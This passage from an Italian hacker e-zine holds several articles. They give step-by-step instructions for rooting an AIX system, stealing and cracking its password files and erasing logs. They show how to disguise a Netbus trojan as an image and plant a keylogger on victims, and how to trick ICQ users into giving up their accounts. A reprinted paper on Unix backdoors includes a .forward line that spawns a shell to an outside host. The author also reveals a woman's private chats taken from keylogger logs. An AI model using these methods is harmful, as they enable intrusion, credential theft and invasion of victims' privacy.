/etc/shadow/ (non nel nostro caso...). Rimanendo in /etc/ se siete su AIX troverete una directory che passa assssolutamente inosservata: security (!). Se provate ad entrarci vi dira' che siete scemi perche' non siete root (almeno per ora ihihi). Tornate nella vostra directory, utilizzate l'exploit scelto precedentemente e preventivamente uploadato( nello sceglierlo accertatevi che vada bene per la rev dell'os in questione, facilmente ottenibile digitando uname -a). Compilatelo con gcc -o lquery-aix lquery-aix.c e poi ./lquery-aix e poi lquery-aix e poi.... kathaboom! Avete roottato (salute!). Ve ne rendete conto dal fatto che ora il prompt e' un # e che facendo id appare un bel 0 :)) Tornate in /etc/ ed entrate in /security/ (visto che ora vi fa accedere??). Individuate il file passwd che potrebbe essere opasswd e fate cat opasswd |pg Se avete un client telnet che vi permette di farlo, con copia e incolla catturate tutto quello che scorre sullo schermo. Fatto cio' si torna nella vostra dir, si compila il zap2.c (o qualsiasi altro tool voi abbiate scelto tipo cloak,hide,lastlogin,...) e lo si lancia...la cucina ora e' ripulita dalle nostre traccie (almeno le piu' evidenti, non tutte ovviamente). Digitate un bel logout e via. Ora siete sul vostro pc. Se le password catturate in /etc/security/ sono gia' nel formato esteso che vi ho mostrato prima potete andare di john the ripper altrimenti dovrete ricostruirvi qualcosa del genere. Mi spiego: al primo file catturato in /etc/passwd/ sostituite il "!" con la rispettiva password cifrata ottenuta dal file /etc/security/opasswd/ Bene. Ora dovreste avere il vostro bel file con tutti i login e relative password cifrate. E' tempo di John. Dezippate il John in una directory e nella stessa metteteci pure il file passwd ottenuto e la wordlist. Dal prompt DOS entrete nella dir scelta e digitate john -w:[tualista.txt] [tuopasswd.txt] Il nostro amico inizia subito a macinare password prendendole dal file da voi indicato (usate pure nomi.txt trovato qui, alcune password probabilmente si troveranno gia' cosi'). E' cmq importante che voi vi create la vostra personale wordlist oppure che ne scarichiate una il piu' grande possibile)...in pochi minuti se non secondi vedrete che le prime password usciranno subito. I piu' cojoni si ostinano ad usare password di senso compiuto senza numeri e caratteri speciali, magari dei nomi di persona (!)...ma a noi in fondo va bene cosi' :) Terminato il lavoro, eliminate dal vostro file di passwd gli account crakkati e ricominciate. Stavolta digitate john -i:alpha [tuopasswd.txt] in questo modo john provera' tutte e *solo* le permutazioni possibili tra le 26 lettere dell'alfabeto. Altre password cadranno all'attacco... eliminate pure queste dal file e andate avanti. Ora digitate john -i:digits [tuopasswd.txt] stavolta john prova tutte le combinazioni e *solo* con le cifre. Le password di sole cifre cadranno.... Ormai sapete che fare. Per quelle che rimarranno ancora usate john -i [tuopasswd.txt] john prova tutte le combinazioni alfanumeriche e carattersi speciali possibili. Per crakkare le password meglio pensate ci potrebbero volere anche giorni.... attualmente io ne sto crakkando una che dopo 10 ore ancora non vuole capitolare.... Ricordate che con ctrl+c si interrompe il processo che puo' essere ripristinato in un secondo momento ripartendo da dove si era interrotto john -restore durante il crakkaggio premendo qualsiasi tasto john vi dira' a che punto e'... Infine ricordate che John e' altamente configurabile, basta leggersi i file di help allegati. Ora siete root sul sistema, e avrete anche almeno il 50% delle password degli account...potrete fare il bello e il cattivo tempo, ma ricordate di non distruggere/cancellare nulla (se non le vostre traccie...), non date nell'occhio creando dir dai nomi assurdi e aggiungendo user a cazzo... Perche' poi non piazzare un bello sniffer? Ok that's all. Nota: sarebbe meglio fare il tutto passando per un proxy che ripulisca il nostro ip reale, per ovvi motivi. Per chi non resiste a rompere le @@ mi raggiungete qui: [email protected] (se avete passwd da crakkare bene, ma solo con relativo host di provenienza, ok??) Passiamo ai saluti in ordine sparso: Nobody88 H3ll [jester] Vendikare Blackjam Anub|s Nervous LordFelix i ragazzi dell'Orda delle Badlands e quelli di BFI, #phreak.it #cybernet lo staff del Cert-it di Milano ;) ------------- **** McFly *** il vostro Gianfranco Vissani ------------- Concludo con una dotta citazione, pregna di significato: " aaaaaa pakoto pakoto....tze tze pakoto pakoto 'npar de cojoni! tze " (Bombolo, Delitto al ristorante cinese) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Quello che segue e' un articolo fatto da Christopher Klaus x Rootshell, e siccome e' interessante ho chiesto l'autorizzazione x pubblicarlo qui sulla ns e-zine NewBies, quindi buona lettura . ZeroCool Provoces the best you will die like a slave -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Since the early days of intruders breaking into computers, they have tried to develop techniques or backdoors that allow them to get back into the system. In this paper, it will be focused on many of the common backdoors and possible ways to check for them. Most of focus will be on Unix backdoors with some discussion on future Windows NT backdoors. This will describe the complexity of the issues in trying to determine the methods that intruders use and the basis for administrators understanding on how they might be able to stop the intruders from getting back in. When an administrator understands how difficult it would be to stop intruder once they are in, the appreciation of being proactive to block the intruder from ever getting in becomes better understood. This is intended to cover many of the popular commonly used backdoors by beginner and advanced intruders. This is not intended to cover every possible way to create a backdoor as the possibilities are limitless. The backdoor for most intruders provide two or three main functions: Be able to get back into a machine even if the administrator tries to secure it, e.g., changing all the passwords. Be able to get back into the machine with the least amount of visibility. Most backdoors provide a way to avoid being logged and many times the machine can appear to have no one online even while an intruder is using it. Be able to get back into the machine with the least amount of time. Most intruders want to easily get back into the machine without having to do all the work of exploiting a hole to gain access. In some cases, if the intruder may think the administrator may detect any installed backdoor, they will resort to using the vulnerability repeatedly to get on a machine as the only backdoor. Thus not touching anything that may tip off the administrator. Therefore in some cases, the vulnerabilities on a machine remain the only unnoticed backdoor. Password Cracking Backdoor One of the first and oldest methods of intruders used to gain not only access to a Unix machine but backdoors was to run a password cracker. This uncovers weak passworded accounts. All these new accounts are now possible backdoors into a machine even if the system administrator locks out the intruder's current account. Many times, the intruder will look for unused accounts with easy passwords and change the password to something difficult. When the administrator looked for all the weak passworded accounts, the accounts with modified passwords will not appear. Thus the administrator will not be able to easily determine which accounts to lock out. Rhosts + + Backdoor On networked Unix machines, services like Rsh and Rlogin used a simple authentication method based on hostnames that appear in rhosts. A user could easily configure which machines not to require a password to log into. An intruder that gained access to someone's rhosts file could put a "+ +" in the file and that would allow anyone from anywhere to log into that account without a password. Many intruders use this method especially when NFS is exporting home directories to the world. These accounts become backdoors for intruders to get back into the system. Many intruders prefer using Rsh over Rlogin because it is many times lacking any logging capability. Many administrators check for "+ +" therefore an intruder may actually put in a hostname and username from another compromised account on the network, making it less obvious to spot. Checksum and Timestamp Backdoors Early on, many intruders replaced binaries with their own trojan versions. Many system administrators relied on time-stamping and the system checksum programs, e.g., Unix's sum program, to try to determine when a binary file has been modified. Intruders have developed technology that will recreate the same time-stamp for the trojan file as the original file. This is accomplished by setting the system clock time back to the original file's time and then adjusting the trojan file's time to the system clock. Once the binary trojan file has the exact same time as the original, the system clock is reset to the current time. The sum program relies on a CRC checksum and is easily spoofed. Intruders have developed programs that would modify the trojan binary to have the necessary original checksum, thus fooling the administrators. MD5 checksums is the recommended choice to use today by most vendors. MD5 is based on an algorithm that no one has yet to date proven can be spoofed. Login Backdoor On Unix, the login program is the software that usually does the password authentication when someone telnets to the machine. Intruders grabbed the source code to login.c and modified it that when login compared the user's password with the stored password, it would first check for a backdoor password. If the user typed in the backdoor password, it would allow you to log in regardless of what the administrator sets the passwords to. Thus this allowed the intruder to log into any account, even root. The password backdoor would spawn access before the user actually logged in and appeared in utmp and wtmp. Therefore an intruder could be logged in and have shell access without it appearing anyone is on that machine as that account. Administrators started noticing these backdoors especially if they did a "strings" command to find what text was in the login program. Many times the backdoor password would show up. The intruders then encrypted or hid the backdoor password better so it would not appear by just doing strings. Many of the administrators can detect these backdoors with MD5 checksums. Telnetd Backdoor When a user telnets to the machine, inetd service listens on the port and receive the connection and then passes it to in.telnetd, that then runs login. Some intruders knew the administrator was checking the login program for tampering, so they modified in.telnetd. Within in.telnetd, it does several checks from the user for things like what kind of terminal the user was using. Typically, the terminal setting might be Xterm or VT100. An intruder could backdoor it so that when the terminal was set to "letmein", it would spawn a shell without requiring any authentication. Intruders have backdoored some services so that any connection from a specific source port can spawn a shell. Services Backdoor Almost every network service has at one time been backdoored by an intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even inetd, etc., have been floating around forever. There are programs that are nothing more than a shell connected to a TCP port with maybe a backdoor password to gain access. These programs sometimes replace a service like uucp that never gets used or they get added to the inetd.conf file as a new service. Administrators should be very wary of what services are running and analyze the original services by MD5 checksums. Cronjob backdoor Cronjob on Unix schedules when certain programs should be run. An intruder could add a backdoor shell program to run between 1 AM and 2 AM. So for 1 hour every night, the intruder could gain access. Intruders have also looked at legitimate programs that typically run in cronjob and built backdoors into those programs as well. Library backdoors Almost every UNIX system uses shared libraries. The shared libraries are intended to reuse many of the same routines thus cutting down on the size of programs. Some intruders have backdoored some of the routines like crypt.c and _crypt.c. Programs like login.c would use the crypt() routine and if a backdoor password was used it would spawn a shell. Therefore, even if the administrator was checking the MD5 of the login program, it was still spawning a backdoor routine and many administrators were not checking the libraries as a possible source of backdoors. One problem for many intruders was that some administrators started MD5 checksums of almost everything. One method intruders used to get around that is to backdoor the open() and file access routines. The backdoor routines were configured to read the original files, but execute the trojan backdoors. Therefore, when the MD5 checksum program was reading these files, the checksums always looked good. But when the system ran the program, it executed the trojan version. Even the trojan library itself, could be hidden from the MD5 checksums. One way to an administrator could get around this backdoor was to statically link the MD5 checksum checker and run on the system. The statically linked program does not use the trojan shared libraries. Kernel backdoors The kernel on Unix is the core of how Unix works. The same method used for libraries for bypassing MD5 checksum could be used at the kernel level, except even a statically linked program could not tell the difference. A good backdoored kernel is probably one of the hardest to find by administrators, fortunately kernel backdoor scripts have not yet been widely made available and no one knows how wide spread they really are. File system backdoors An intruder may want to store their loot or data on a server somewhere without the administrator finding the files. The intruder's files can typically contain their toolbox of exploit scripts, backdoors, sniffer logs, copied data like email messages, source code, etc. To hide these sometimes large files from an administrator, an intruder may patch the files system commands like "ls", "du", and "fsck" to hide the existence of certain directories or files. At a very low level, one intruder's backdoor created a section on the hard drive to have a proprietary format that was designated as "bad" sectors on the hard drive. Thus an intruder could access those hidden files with only special tools, but to the regular administrator, it is very difficult to determine that the marked "bad" sectors were indeed storage area for the hidden file system. Bootblock backdoors In the PC world, many viruses have hid themselves within the bootblock section and most antivirus software will check to see if the bootblock has been altered. On Unix, most administrators do not have any software that checks the bootblock, therefore some intruders have hidden some backdoors in the bootblock area. Process hiding backdoors An intruder many times wants to hide the programs they are running. The programs they want to hide are commonly a password cracker or a sniffer. There are quite a few methods and here are some of the more common: An intruder may write the program to modify its own argv[] to make it look like another process name. An intruder could rename the sniffer program to a legitimate service like in.syslog and run it. Thus when an administrator does a "ps" or looks at what is running, the standard service names appear. An intruder could modify the library routines so that "ps" does not show all the processes. An intruder could patch a backdoor or program into an interrupt driven routine so it does not appear in the process table. An example backdoor using this technique is amod.tar.gz available on http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html An intruder could modify the kernel to hide certain processes as well. Rootkit One of the most popular packages to install backdoors is rootkit. It can easily be located using Web search engines. From the Rootkit README, here are the typical files that get installed: z2 - removes entries from utmp, wtmp, and lastlog. Es - rokstar's ethernet sniffer for sun4 based kernels. Fix - try to fake checksums, install with same dates/perms/u/g. Sl - become root via a magic password sent to login. Ic - modified ifconfig to remove PROMISC flag from output. ps: - hides the processes. Ns - modified netstat to hide connections to certain machines. Ls - hides certain directories and files from being listed. du5 - hides how much space is being used on your hard drive. ls5 - hides certain files and directories from being listed. Network traffic backdoors Not only do intruders want to hide their tracks on the machine, but also they want to hide their network traffic as much as possible. These network traffic backdoors sometimes allow an intruder to gain access through a firewall. There are many network backdoor programs that allow an intruder to set up on a certain port number on a machine that will allow access without ever going through the normal services. Because the traffic is going to a non-standard network port, the administrator can overlook the intruder's traffic. These network traffic backdoors are typically using TCP, UDP, and ICMP, but it could be many other kinds of packets. TCP Shell Backdoors The intruder can set up these TCP Shell backdoors on some high port number possibly where the firewall is not blocking that TCP port. Many times, they will be protected with a password just so that an administrator that connects to it, will not immediately see shell access. An administrator can look for these connections with netstat to see what ports are listening and where current connections are going to and from. Many times, these backdoors allow an intruder to get past TCP Wrapper technology. These backdoors could be run on the SMTP port, which many firewalls allow traffic to pass for e-mail. UDP Shell Backdoors Administrator many times can spot a TCP connection and notice the odd behavior, while UDP shell backdoors lack any connection so netstat would not show an intruder accessing the Unix machine. Many firewalls have been configured to allow UDP packets for services like DNS through. Many times, intruders will place the UDP Shell backdoor on that port and it will be allowed to by-pass the firewall. ICMP Shell Backdoors Ping is one of the most common ways to find out if a machine is alive by sending and receiving ICMP packets. Many firewalls allow outsiders to ping internal machines. An intruder can put data in the Ping ICMP packets and tunnel a shell between the pinging machines. An administrator may notice a flurry of Ping packets, but unless the administrator looks at the data in the packets, an intruder can be unnoticed. Encrypted Link An administrator can set up a sniffer trying to see data appears as someone accessing a shell, but an intruder can add encryption to the Network traffic backdoors and it becomes almost impossible to determine what is actually being transmitted between two machines. Windows NT Because Windows NT does not easily allow multiple users on a single machine and remote access similar as Unix, it becomes harder for the intruder to break into Windows NT, install a backdoor, and launch an attack from it. Thus you will find more frequently network attacks that are spring boarded from a Unix box than Windows NT. As Windows NT advances in multi-user technologies, this may give a higher frequency of intruders who use Windows NT to their advantage. And if this does happen, many of the concepts from Unix backdoors can be ported to Windows NT and administrators can be ready for the intruder. Today, there are already telnet daemons available for Windows NT. With Network Traffic backdoors, they are very feasible for intruders to install on Windows NT. Solutions As backdoor technology advances, it becomes even harder for administrators to determine if an intruder has gotten in or if they have been successfully locked out. Assessment One of the first steps in being proactive is to assess how vulnerable your network is, thus being able to figure out what holes exist that should be fixed. Many commercial tools exist to help scan and audit the network and systems for vulnerabilities. Many companies could dramatically improve their security if they only installed the security patches made freely available by their vendors. MD5 Baselines One necessary component of a system scanner is MD5 checksum baselines. This MD5 baseline should be built up before a hacker attack with clean systems. Once a hacker is in and has installed backdoors, trying to create a baseline after the fact could incorporate the backdoors into the baseline. Several companies had been hacked and had backdoors installed on their systems for many months. Overtime, all the backups of the systems contained the backdoors. When some of these companies found out they had a hacker, they restored a backup in hopes of removing any backdoors. The effort was futile since they were restoring all the files, even the backdoored ones. The binary baseline comparison needs to be done before an attack happens. Intrusion detection Intrusion detection is becoming more important as organizations are hooking up and allowing connections to some of their machines. Most of the older intrusion detection technology was log-based events. The latest intrusion detection system (IDS) technology is based on real-time sniffing and network traffic security analysis. Many of the network traffic backdoors can now easily be detected. The latest IDS technology can take a look at the DNS UDP packets and determine if it matches the DNS protocol requests. If the data on the DNS port does not match the DNS protocol, an alert flag can be signaled and the data captured for further analysis. The same principle can be applied to the data in an ICMP packet to see if it is the normal ping data or if it is carrying encrypted shell session. Boot from CD-ROM. Some administrators may want to consider booting from CD-ROM thus eliminating the possibility of an intruder installing a backdoor on the CD-ROM. The problem with this method is the cost and time of implementing this solution enterprise wide. Vigilant Because the security field is changing so fast, with new vulnerabilities being announced daily and intruders are constantly designing new attack and backdoor techniques, no security technology is effective without vigilance. Be aware that no defense is foolproof, and that there is no substitute for diligent attention. ------------------------------------------------------------------------you may want to add: .forward Backdoor On Unix machines, placing commands into the .forward file was also a common method of regaining access. For the account ``username'' a .forward file might be constructed as follows: \username |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing). PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server). > Using smrsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves...). --------------------------------------------------------------------------you may want to add this "feature" that can act as a backdoor: when specifying a wrong uid/gid in the /etc/password file, most login(1) implementations will fail to detect the wrong uid/gid and atoi(3) will set uid/gid to 0, giving superuser privileges. example: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh on Linux boxes, this will give uid 0 to user rmartin. Christopher Klaus ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ LISTA PORTE ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Fate Goool....ma nella giusta porta !!! Beh...io direi che ad un newbie (e non) la lista di tutte le porte, o quasi, serve SiemprE ! Sorseggio un sorso del mio Barolo, 2450 bottiglie in tutto il mondo.. porc'...vale quello che costa ve lo assicuro, ed inizio a fare sta listozza..... 7- Echo 911- Info sugli user 13- Data e ora 15- Netstat ed info 19- Pours con ASCII 21- Ftp 2223- Login 25- Forge e-mail 37- Time 39- Rlp resource location 43- Whois 53- Dominio 67-Bootp 70- Gopmer 79- Finger 80- Server Web 87- Link 110-E-mail in entrata 113-Identp 119-Usenet Newsgroup 144-Newsk 443-Server Web 512-Biff notificazione posta 513-Login remoto 514-Remote command 515-Pkill 517-Ktalk 518-Ntalk 520-Information protocol 533-Netwall 560-Rmontior 561-Montior 750-Kerberos Queste sono le porte che conosco, le altre....boh?!?!? ahhahaha......divertitevi a cercarne altre...... So che siete dei tipi mooolto sEgaci.....ehmmm....sagaci... lavorate di mano !!!! :) Dante Alighieri ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ /---------------------------------------------------------------------\ | N E T B U S | \_____________________________________________________________________/ Salve a tutti!, questo e il mio 1ø articolo sul l'ultimo, ihihih)...qui vi mostrero' trucchetti netbus!... il primo trucco e quello di cambiare apposito e il secondo e quello di richiamare il applicazione... NewBies (speriamo non sia su come fregare gli utenti dal l'icona con un programma programma da un'altra --------------------------COME CAMBIARE LE ICONE----------------------Adesso vi parlero' di un trucchetto imparato qualche settimana fa', che permette di 'fottere' gli utenti, inviandogli la patch del netbus (il trojano) con un'icona qualsiasi (un mp3, un jpg, un bmp , una dll,ecc) -=====================================================================1. Innanzitutto prendete il programma MICROANGELO, (reperibile in rete... Volftp)NON PRENDETE IL GIFTED CHE NON VI SERVE A UN CAZZO! 2. Aprite il librarian (col microangelo) e selezionate un'icona a piacimento... 3. Una volta dentro l'editor di icone, selezionate tutto e fate COPIA - Ctrl - C 4. Una volta che siete usciti, aprite la patch col LIBrARIAN, e aprite l'icona principale (Quella con l'antenna parabolica..) e sucessivamente incollare l'itero contenuto della clipboard (cioe', l'icona che avevamo copiato prima), sopra l'icona della patch, adesso abbiamo una patch come si deve!!! ALTRo MeTODO - PIU' BELLO - USATO FREQUENTEMENTE IN ICQ 1. Aprite il librarian... 2. Andate in C:\Programmi\Internet Explorer\Iexplore.exe e vedete il contenuto... 3. Aprite l'icona dell'immagine jpg coll'editor... 4. Copiate con Ctrl - C 5. Prendete la patch e inseritegli la nuova icona... 6. Salvate il tutto e prendete il patchone appena modificato... 7. Rinominatelo in Pamela.jpg .exe (Cercate di mettere tutti gli spazi possibili tra .jpg e .exe) cosi' la vittima, alla ricezione del filez, non vedra' l'ultima parte infettandosi alla grande... Alla ricezione del file, la vittima ricevera' questa finestra... ________________________________ | | | ICO Pamela.jpg | | ICO | | ICO OPEN GOTODIR | |________________________________| Se sara' cosi'. allora la aprira' immediatamente, perche pensa che sia una vera foto... ________________________________ | | | ICO Pamela.jpg .exe | | ICO | | ICO OPEN GOTODIR | |________________________________| Se invece non avete inserito tutti gli spazi, sara' visibile il riquadro sovrastante... :-) PSSSSSSSSSSS Se vi rompete i coglioni ad andare a cercare le icone, ne ho inserite alcune nel file zip, Sephy -----------------COME FARE APRIRE LA PATCH SENZA SOSPETTI-------------INNANZITUTTO CAMBIATE L'ICONA DELLA PATCH CON UNA DLL Questo e un metodo alquanto bastardo (beh, lo devo dire anch'io...) infatti, se sapete usare il visual basic o il C, potete semplicemente compilare un programma che quando avviato, apre la patch e svolge il suo lavoro... ad esempio... facciamo finta di aver creato alcune cartelle... PROGGY --->BIN come vedremo, BIN e una sottodirectory di proggy... e li dentro metteremo la patch, che rinomineremo come SySres.exe Successivamente creeremo un programma qualsiasi ... dopo aver finito tutto il listato, inserire questa stringa nel Form_Load (quando si avvia il programma...) X = Shell("Bin\sysres.exe", 1) Come vediamo, il prog, chiama la patch all'interno della directory BIN (se e' presente !) Il prog si esegue senza problemi, non facendo pensare all'utente che il trojan e' installato (chi lo capirebbe?) P.s. se trovate altri metodi scrivetemi a [email protected] Ciaoo! Sephiroth ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ KEY LOGGER QUESTO SCONOSCIUTO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve, sono sempre io (eheheh), questa volta vi parlo di un'altra cosa MOOOLTO bella... i keylogger... Per chi non lo sapesse, i keylogger, sono quei programmi che ti permettono di vedere tutti i tasti che una persona ha premuto... questo viene usato dagli amministratori di sistema ... Pero', la cosa puo' diventare anke bella se li mettiamo alle vittime che abbiamo infettato... infatti, una volta che siamo dentro il pc di un povero pirla, possiamo uploadare il keylogger, e il giorno dopo potremo scaricare i log.... fico no? In questa NewBies allego un mio files, contenente il programma ed una dll... e un LNK (MOlto IMPORTANTE!!!) Nonostante questa procedura sia da lamer, io mi diverto lo stesso... l'altro giorno, scaricai i log di XXX (non metto il nome... comunque e una DONNA...) col netbus, e vidi tutto il contenuto... tra i vari documenti che lei aveva scritto vidi anche il log delle sue discussioni in ICQ... qui ne riporto qualcuna... -Ciao, sono XXX XXX, sono alta, cosce focose ma poche pere... -Allora ci vedremo amoruccio mio, vorrei venire li e scopare con te fino all'orgasmo... Quindi, i msg parlano da soli... inoltre ho visto pure la password e il login della vittima... Quindi, le istruzioni per ottenere risualtati efficenti sono queste : Uploadare i seguenti filez in: FILE DIR WinMem Qpro200.dll WinMem.lnk C:\Windows C:\Windows\System C:\Windows\Menuavvio\EsecuzioneAutomatica Se si uploadano files in diverse locazioni, allora il programma non funzionera'... Per prendere i log, dovete andare nella dir C:\Win\logx OTA CHE WIN NON STA PER WINDOWS, E UNA DIR A PARTE!!!! Se avete ancora dubbi (argh..) mailatemi a [email protected] oppure Contattatemi via ICQ... 23157482 CiAoZ Sephiroth ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ **************************** * Overclocking by ULNTWH99 * **************************** [email protected] NB : se non avete letto l'art precedente a questo (per altro molto corto leggetevelo o , se non avete gia' 1a buona conoscenza hardware , capirete poco ...) . Disclamer (lo sapete a memoria quindi non lo metto :P ) . Ora riprendero' in tronco li' l'articolo da dove lo ho lasciato ! Come nell'ultima parte dell'art precedente ho spiegato accade "cosi'" anche nei sistemi Pentium . Prendiamo ad esempio un pentium MMX (dato che di solito sono le maccine di vecchia data che vengono clokkate ...) a 166 MHz che deve essere montato da specifiche su mainboard a 66 MHz . La cpu , in questo caso , moltiplica il clock di 66 MHz per 1 fattore di 2,5x ed ecco che interamente avremo la nostra frequenza di 166 MHz . Ma come caxxo fara' la cpu a sapere di quanto deve moltiplicare il segnale di clock che gli arriva dalla scheda madre ??? E' semplicemente 1a caxxata (N0bodY88 (c) hihihi fregato sul tempo ulnt :PPP) (questo termine e' mio e guai a chi me lo copia okki nobody ???? ) !!! Esistono infatti 3 coppie di pin (Bf0 , Bf1 , Bf2 , Bfi ...ahem ...no quella non centra ...) modificabili da chiunque che servono proprio a questo . In genere e' possibile modificare le impostazioni di Bf0 , 1 e 2 cambiando la posizione dei relativi jumpers (o ponticelli) oppure tramite una serie di microinterruttori . Nota che questi pin non dicono alla cpu "Ue' usa il fattore 3,0x" ma a seconda del valore logico (H o L) che essi hanno , la cpu interpreta la combinazione e quindi si predispone ad utilizzare il fattore di moltiplicazione associato a quella combinazione per la quale e' stata programmata . Ad es x i Pentium "classici" quelli cioe' privi della tecnologia mmx , la combinazione xyz viene "vista" come 1,5 ma non dai processori k6 : in tale stato , infatti , la cpu amd moltiplichera' il segnale di clock per 3,5x . La formula imp che bisogna ricordarsi e' ************************************************************************** * Frequenza Cpu = Frequenza Mainboard * Fattore di Moltiplicazione Usato * ************************************************************************** In definitiva , quindi , che cosa vuol dire "overcloccare" e come si fa ? Overcloccare una cpu significa semplicemente spingere questo componente elettronico a frequenze di clock superiori a quelle per la quale e' stata testata e venduta . Al proxximo numero by ULNTWH99 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ /---------------------------------------------------------------------\ | I C Q - EXPLOIT - Ovvero, come fottere le pass :) | \_____________________________________________________________________/ IO NON MI ASSUMO NESSUNA RESPONSABILITA' SU TUTTO QUESTO... SE VI SBATTONO IN GALERA SONO KAZZI VOSTRI :-) Ciao a tutti, in questo piccolissimo articolo vi spiego un modo semplice semplice per ottenere le password degli altri utenti di icq, per collegarsi col LORO uin e vedere i messaggi che dovrebbe ricevere il povero proprietario!! (e chissa'... anche HoT! ^_^) Una volta che avete rubato la pass, potete fare un sacco di altre cose... tipo CAMBIARE LE INFO!!! ad es. se la persona in questione e un uomo... inserite la stringa : "Sono gay dalla nascita... non provo vergogna a dirlo apertamente... mi piace avere sesso con uomini..." Naturalmente questo era un'esempio... voi potete inserire tutto quello che volete!!! ma non ditelo alla vittima... potete pagarne le conseguenze.... Inoltre, se siete lamer da morire, potete cambiare la password all'utente facendolo incazzare notevolmente!! (che ficata!!) Passiamo dunque al dilemma maggiore... come rubare la pass... :-) Il procedimento sembra difficile, ma in se X se... e un procedimento da bambini... 1. Connettetevi alla rete ed aprite icq 2. Prendete qualke fesso Online... 3. Adesso mandategli un msg dicendo di cambiare la sua e-mail di icq, con quella vostra solo per 5 minuti... e di dirti che appena avra' finito, dovra mandarti un msg di conferma... (Nota che se l'utente mette la sua e-mail, su icq non verra' aggiornata subito... dopo circa una ventina di mint.) ---------------Adesso c'e la parte principale...----------------------4. Aprite IcqExploit.htm contenuto nel file zip Sephy.zip 5. Inserite nell'apposito spazio, il suo numero di icq... (fate un copia e incolla...) 6. Premere RUBA PW e attendere qualke minuto... 7. Vi dovra' spuntare una pagina Html con la conferma della password.. e verra' scritto pure dove verra' mandata.. se l'utente avra' veramente scritto la tua e-mail allora la vedrete li'.. se invece della vostra, vedete la sua... meglio che scappate via di casa!!! :-) 8. Dopo una quindicina di minuti vi verra' spedita la password :-) ------------------- MA COSA FA DI PRECiSO ??? ------------------------nel file htm, una volta inserito l'uin del fesso, e dopo aver premuto RUBA PW. il vostro browser si colleghera' alla pagina di ICQ, password dimenticate.. in poche parole, voi avete fatto richiesta di aver smarrito la password e voi l'hanno mandata all'indirizzo e-mail presente nel numero di ICQ dato... (Che in quel momento era il vostro!!!) quindi... appena vedete la scritta : "The 